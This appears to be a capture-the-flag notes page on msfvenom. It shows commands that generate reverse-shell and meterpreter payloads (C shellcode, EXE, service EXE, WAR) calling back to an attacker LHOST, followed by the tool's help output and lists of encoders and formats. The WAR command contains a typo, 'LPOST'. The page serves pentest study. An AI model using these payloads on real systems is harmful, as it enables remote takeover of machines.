> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/exploit/metasploit-framework/msfvenom.md). # msfvenom Payload Generator and Encoder ## Payload creation examples {% hint style="info" %} HINT Use non-staged payloads with msfvenom to avoid additional network traffic. {% endhint %} ### C Shell code Creation of C Shell code and avoiding a list of "bad" characters ```bash msfvenom -p windows/shell_reverse_tcp -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a' LHOST=192.168.45.180 LPORT=443 -f c -v SHELL -e x86/alpha_mixed ``` NOTE the single quotes around the bad characters which is needed in zsh! ### Meterpreter Exe file Create a Windows x64 meterpreter reverse shell ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o meterpreter.exe LHOST=tun0 LPORT=12345 ``` ### Reverse Shell Exe-service file Create a Windows x64 TCP reverse shell that runs as a service under Windows Service Control Manager (SCM) ```bash msfvenom -p windows/x64/shell_reverse_tcp -f exe-service -o revshell.exe LHOST=tun0 LPORT=12345 ``` ### WAR file Create a [WAR file](https://en.wikipedia.org/wiki/WAR_\(file_format\)) with reverse shell ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.12.13 LPOST=12345 -f war -o rev_shell.war ``` ## Usage information
msfvenom -h ```bash ┌──(kali㉿kali)-[~] └─$ msfvenom -h MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe Options: -l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload 's standard, advanced and evasion options -f, --format Output format (use --list formats to list) -e, --encoder The encoder to use (use --list encoders to list) --service-name The service name to use when generating a service binary --sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key A key to be used for --encrypt --encrypt-iv An initialization vector for --encrypt -a, --arch The architecture to use for --payload and --encoders (use --list archs to list) --platform The platform for --payload (use --list platforms to list) -o, --out Save the payload to a file -b, --bad-chars Characters to avoid example: '\x00\xff' -n, --nopsled Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space The maximum size of the resulting payload --encoder-space The maximum size of the encoded payload (defaults to the -s value) -i, --iterations The number of times to encode the payload -c, --add-code Specify an additional win32 shellcode file to include -x, --template Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name Specify a custom variable name to use for certain output formats -t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message ```
msfvenom -l encoder ```bash ┌──(kali㉿kali)-[~] └─$ msfvenom -l encoder Framework Encoders [--encoder ] ====================================== Name Rank Description ---- ---- ----------- cmd/base64 good Base64 Command Encoder cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder php/hex great PHP Hex Encoder php/minify great PHP Minify Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic Key XOR Encoder x86/xor_poly normal XOR POLY Encoder ```
msfvenom -l formats ```bash ┌──(kali㉿kali)-[~] └─$ msfvenom -l formats Framework Executable Formats [--format ] =============================================== Name ---- asp aspx aspx-exe axis2 dll ducky-script-psh elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi msi-nouac osx-app psh psh-cmd psh-net psh-reflection python-reflection vba vba-exe vba-psh vbs war Framework Transform Formats [--format ] ============================================== Name ---- base32 base64 bash c csharp dw dword go golang hex java js_be js_le masm nim nimlang num octal perl pl powershell ps1 py python raw rb ruby rust rustlang sh vbapplication vbscript ```
msfvenom -l platforms ```bash ┌──(kali㉿kali)-[~] └─$ msfvenom -l platforms Framework Platforms [--platform ] ======================================== Name ---- aix android apple_ios arista brocade bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper linux mainframe mikrotik multi netbsd netware nodejs openbsd osx php python r ruby solaris unifi unix unknown windows ```
## Resources How to use msfvenom - Metasploit Docs: Msfvenom Cheatsheet - Hacking Articles: msfvenom - Kali Tools: